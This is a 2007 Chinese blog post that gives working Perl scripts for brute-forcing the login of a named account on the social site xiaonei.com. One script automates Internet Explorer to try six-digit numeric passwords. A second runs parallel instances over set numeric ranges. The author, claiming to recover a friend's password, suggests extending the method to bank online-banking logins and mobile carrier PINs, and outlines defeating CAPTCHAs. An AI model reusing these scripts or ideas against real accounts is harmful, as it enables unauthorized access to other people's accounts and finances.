Perl是一个异常强大的网络处理工具,而且它的库是相当的多与全面。老同学的网站密码丢了,让我找找看,我就琢磨琢磨学习了一下Perl。
如果是普通的表单,只需要用Perl自带的LWP库就可以了,但是有些网站会首先检测你的浏览器是否支持Cookies,是否是“真实的”浏览器而不是机器人代理,更有甚者首先检测你的浏览器是否支持脚本,如果不支持脚本是根本不让你浏览任何信息的。这个时候LWP就没有什么用了。
于是乎我想到了COM,调用Internet Explorer的接口。先用C++实现了一个,速度虽然是快,可是如何获取Document进行网站的反馈判定却成了难题,其中牵涉到一个等待同步的问题,总是出错,一气之下就废了它。去CPAN下载了一个叫做Win32::IEAutomation的库,省得手动初始化COM对象,还要查CSLID等等。guesser脚本很是简单,如下。
use Win32::IEAutomation;
my $low = @ARGV[0];
my $up = @ARGV[1];
if ( $low > $up ){
print "UP LOW ERROR!";
exit 1;
};
my $ie = Win32::IEAutomation->new( visible => 0 );
$ie->gotoURL('http://xiaonei.com/Login.do');
my $user = "papyna\@126.com";
my $time = time;
while( $low <= $up ){
my $pwdstr = "";
$pwdstr = sprintf "\%.6u",$low;
$ie->getTextBox('id:',"email")->SetValue($user);
$ie->getTextBox('id:',"password")->SetValue($pwdstr);
$ie->getButton('id:',"login")->Click;
$ie->WaitforDone;
if( $ie->VerifyText('密码错误') ){
}else{
$time = time - $time;
print "Password Is : ",$pwdstr,"\n";
print $time," Seconds Passed
";
exit 0;
};
$low++;
}
print "Not In this range From ",$low," To ",$up,"\n";
exit 0; 原理很简单,输入一个数字范围,然后一直调用网站的登陆脚本,直到正确的登陆。其实这也牵涉到一个字典的问题,这个就是穷举破解的最大麻烦。不过思想是可以值得借鉴的。速度瓶颈在网络上,机器代码执行得飞快,等待页面反馈太慢。为了,加速,我想到了多线程。通过这个脚本,同时执行多个上述脚本的实例。代码也很简单。
use Win32::Process;
use Win32;
sub ErrorReport{
print Win32::FormatMessage( Win32::GetLastError() );
}
Win32::Process::Create($ProcessObj1,
"C:\\Perl\\bin\\perl.exe",
"perl guesser.pl 870100 870133",
0,
NORMAL_PRIORITY_CLASS,
".")|| die ErrorReport();
Win32::Process::Create($ProcessObj2,
"C:\\Perl\\bin\\perl.exe",
"perl guesser.pl 861095 861231",
0,
NORMAL_PRIORITY_CLASS,
".")|| die ErrorReport();
$ProcessObj1->Wait(INFINITE);
$ProcessObj2->Wait(INFINITE);
然后就是漫长的等待了,甚至可以听到浏览器的声音,速度缓慢的真是痛苦。不过,破解招商银行网上银行大众版 —— HTTPS连接与加密插件,IE都是内置,只要先安装好,就可以传入URL进行穷举了。不过有个问题就是,验证码。对于这个我还没有实现,不过思路很简单,手动写一个读写图像文件,判断数字的函数,图片可以从IE缓存获得。破解移动联通手机号码密码也可以顺着这个思路来。
末了提醒大家,就用Google的原则,“不要做恶”。
posted on 2007-02-16 21:55
周波 阅读(1993)
评论(1) 编辑 收藏 引用 所属分类:
无庸技术 、
奇思妙想